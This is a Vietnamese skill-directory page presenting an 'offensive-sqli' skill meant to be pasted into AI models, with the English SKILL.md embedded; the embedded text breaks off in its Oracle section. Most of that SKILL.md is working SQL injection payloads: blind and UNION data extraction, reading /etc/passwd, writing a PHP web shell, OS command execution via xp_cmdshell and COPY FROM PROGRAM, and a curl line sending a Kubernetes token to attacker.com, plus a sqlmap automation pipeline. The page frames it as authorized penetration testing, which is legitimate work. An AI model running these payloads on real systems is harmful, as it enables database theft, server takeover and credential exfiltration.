Chuyển đến nội dung
Skillpedia
Bảo mật10k · #11978

offensive-sqli

Skill này làm gì

Skill này là phương pháp tìm lỗi SQL injection trong đầu vào web, API và các đầu vào khác. Nó bao quát kiểm thử dựa trên lỗi, kiểm thử mù và kiểm thử out-of-band, cùng các kiểm tra riêng cho từng cơ sở dữ liệu. Nó dành cho chuyên gia bảo mật kiểm thử ứng dụng khi có sự cho phép.

Khi nào nên dùng

  • ✓Khi bạn kiểm thử một biểu mẫu web, ô tìm kiếm hoặc bộ lọc API để tìm SQL injection trong một bài kiểm thử được ủy quyền.
  • ✓Khi một đầu vào không hiển thị lỗi và bạn cần kiểm thử SQL injection mù.
  • ✓Khi bạn muốn xác định loại cơ sở dữ liệu phía sau ứng dụng trong một bài kiểm thử đã ký duyệt.

Liên kết skill

https://github.com/SnailSploit/Claude-Red/blob/main/Skills/web/offensive-sqli/SKILL.md

Sao chép rồi dán vào AI của bạn (Claude, ChatGPT hoặc Cursor) và nhờ nó làm theo hướng dẫn.

Cách dùng

Cách dễ nhất: sao chép tin nhắn và dán vào AI của bạn. AI sẽ đọc skill và làm theo hướng dẫn.

Tin nhắn có sẵn để dán

Hãy dùng skill này để giúp tôi: https://github.com/SnailSploit/Claude-Red/blob/main/Skills/web/offensive-sqli/SKILL.md Đọc tệp SKILL.md tại liên kết đó và làm theo hướng dẫn cho việc của tôi.
Bạn muốn AI tự tìm những skill như thế này?Cài MCP Skillpedia miễn phí: chỉ một dòng, và AI sẽ tìm trong 15.000+ skill trước mỗi việc.Cài đặt trong 1 phút →

Ví dụ cách nhờ AI

“Chúng tôi được ủy quyền kiểm thử trang tìm kiếm của mình. Kiểm tra xem ô tìm kiếm có dễ bị SQL injection không.”

5 skill mới mỗi tuần. Đọc chỉ 1 phút.

Cách hoạt động

Skill lập bản đồ mọi đầu vào chạm tới cơ sở dữ liệu, gửi các thăm dò an toàn để phát hiện injection, và dùng kỹ thuật mù nếu không có lỗi nào hiển thị. Sau đó nó xác định loại cơ sở dữ liệu và ghi lại phát hiện kèm cách sửa.

Nội dung kỹ thuật (SKILL.md gốc)

Lấy nguyên văn từ GitHub, do tác giả viết bằng tiếng Anh.

SQL Injection — Offensive Testing Methodology

Quick Workflow

  1. Map all input vectors that reach the database (URL params, POST body, cookies, headers, API filters, WebSocket messages)
  2. Insert probe payloads to detect classic SQLi; fall back to inferential (boolean/time-based) if no visible error
  3. Identify database type and enumerate schema
  4. Exploit to extract data, escalate privileges, or achieve RCE where in scope
  5. Document findings and suggest remediation

Detection

Basic Probes — All Input Vectors

' " ; -- /* */ # ) ( + , \  %
' OR '1'='1
" OR "1"="1
SLEEP(1) /*' or SLEEP(1) or '" or SLEEP(1) or "*/

Error-Based Detection

Trigger syntax errors to reveal database type and query structure:

'  ''  `  "  ""  ,  %  \

Look for: SQL syntax errors, DB version strings, table/column names leaked in responses.

Boolean-Based Blind

' OR 1=1 --
' OR 1=2 --
' AND 1=1 --
' AND 1=2 --

Observe response size/content differences between true and false conditions.

Time-Based Blind

-- MySQL
' OR SLEEP(5) --
-- PostgreSQL
' OR pg_sleep(5) --
-- MSSQL
' WAITFOR DELAY '0:0:5' --
-- Oracle
'; BEGIN DBMS_LOCK.SLEEP(5); END; --

JSON Operator Probes

-- MySQL
id=1 AND JSON_EXTRACT('{"a":1}', '$.a')=1
-- PostgreSQL
id=1 AND '{"a":1}'::jsonb ? 'a'

GraphQL → SQLi Pivot

{"query":"query{ users(filter: \"' OR 1=1 --\"){ id email }}"}

WebSocket SQLi

const ws = new WebSocket("wss://target.com/api/search");
ws.send('{"action":"search","query":"test\\\' OR 1=1--"}');

REST API Filter Injection

POST /api/users/search
{
  "filter": { "name": {"$regex": "admin' OR 1=1--"} },
  "sort": "name'; DROP TABLE users--"
}

Automation Workflow

# Full pipeline
sublist3r -d target | tee domains
cat domains | httpx | tee alive
cat alive | waybackurls | tee urls
gf sqli urls >> sqli
sqlmap -m sqli --dbs --batch

# Targeted with Burp capture
# 1. Capture request → Send to Active Scanner
# 2. Review SQL findings → manually verify
# 3. Export request file → sqlmap -r req.txt --dbs

# Blind SQLi (Ghauri — faster for time-based)
ghauri -u "https://target.com/page?id=1" --dbs

# Hidden parameter discovery
hakrawler -url https://target.com | tee crawl
arjun -i crawl -oJ params.json

Exploitation

Determine Column Count (UNION)

' UNION SELECT NULL-- -
' UNION SELECT NULL,NULL-- -
' UNION SELECT NULL,NULL,NULL-- -

Identify String Columns

' UNION SELECT 'a',NULL,NULL-- -
' UNION SELECT NULL,'a',NULL-- -

Enumerate Schema

-- DB version
' UNION SELECT @@version --          -- MySQL/MSSQL
' UNION SELECT version() --          -- PostgreSQL
' UNION SELECT banner FROM v$version -- -- Oracle

-- Tables
' UNION SELECT table_name,1 FROM information_schema.tables --    -- MySQL/MSSQL/PG
' UNION SELECT table_name,1 FROM all_tables --                   -- Oracle

-- Columns
' UNION SELECT column_name,1 FROM information_schema.columns WHERE table_name='users' --

Blind Data Extraction

-- Boolean character-by-character
' AND (SELECT SUBSTRING(username,1,1) FROM users LIMIT 0,1)='a'-- -

-- Time-based conditional
' AND (SELECT CASE WHEN (username='admin') THEN pg_sleep(5) ELSE pg_sleep(0) END FROM users)-- -

Database-Specific Exploitation

MySQL / MariaDB

-- File read
' UNION SELECT LOAD_FILE('/etc/passwd') --

-- Write web shell
' UNION SELECT '<?php system($_GET["cmd"]); ?>' INTO OUTFILE '/var/www/html/shell.php' --

-- Schema leak
' UNION SELECT table_schema,table_name FROM information_schema.tables
  WHERE table_schema NOT IN ('mysql','information_schema') --

MSSQL

-- OS command execution
'; EXEC xp_cmdshell 'net user' --

-- Registry read
'; EXEC xp_regread 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows NT\CurrentVersion','ProductName' --

-- Linked server pivot
'; EXEC ('SELECT * FROM OPENROWSET(''SQLOLEDB'',''Server=linked_server;Trusted_Connection=yes'',''SELECT 1'')') --

PostgreSQL

-- File read
' UNION SELECT pg_read_file('/etc/passwd',0,1000) --

-- OS command execution
'; CREATE TABLE cmd_exec(cmd_output text);
  COPY cmd_exec FROM PROGRAM 'id';
  SELECT * FROM cmd_exec; --

-- K8s service account token exfil
'; COPY (SELECT '') TO PROGRAM 'curl http://attacker.com/$(cat /var/run/secrets/kubernetes.io/serviceaccount/token)'; --

Oracle

-- Privilege enumeration
'
Câu hỏi thường gặp

SQL injection mù là gì?

Đó là khi ứng dụng không hiển thị lỗi hay dữ liệu, nên bài kiểm thử suy ra kết quả từ khác biệt phản hồi hoặc độ trễ.

Nó nhắc tới công cụ nào?

Nó nhắc tới SQLmap để tự động hóa việc kiểm thử.

Đây có chỉ dành cho kiểm thử được ủy quyền không?

Có. Skill được viết cho việc kiểm thử có văn bản cho phép.

Chi tiết

Mô tả gốc của tác giả

SQL injection testing skill for offensive security assessments and bug bounty hunting. Covers error-based, UNION-based, boolean/time-based blind, out-of-band, second-order, NoSQL, GraphQL, WebSocket, and JSON-operator SQLi. Includes WAF bypass techniques, database-specific exploitation (MySQL, MSSQL, PostgreSQL, Oracle), cloud-native attack paths, ORM CVE tracking, and SQLmap automation. Use when performing web application SQL injection testing, database enumeration, privilege escalation via SQLi, or assessing injection vectors in APIs and modern stacks.

repo: SnailSploit/Claude-Red

Độ phổ biến

Sao GitHub
10k
Vị trí xếp hạng
#11978
Giấy phép
MIT
Cập nhật
12/10/2026

Skill này có hữu ích không?

0

Đăng nhập để bình chọn.

Bình luận

  • …

Thêm skill từ kho mã này

Skill tương tự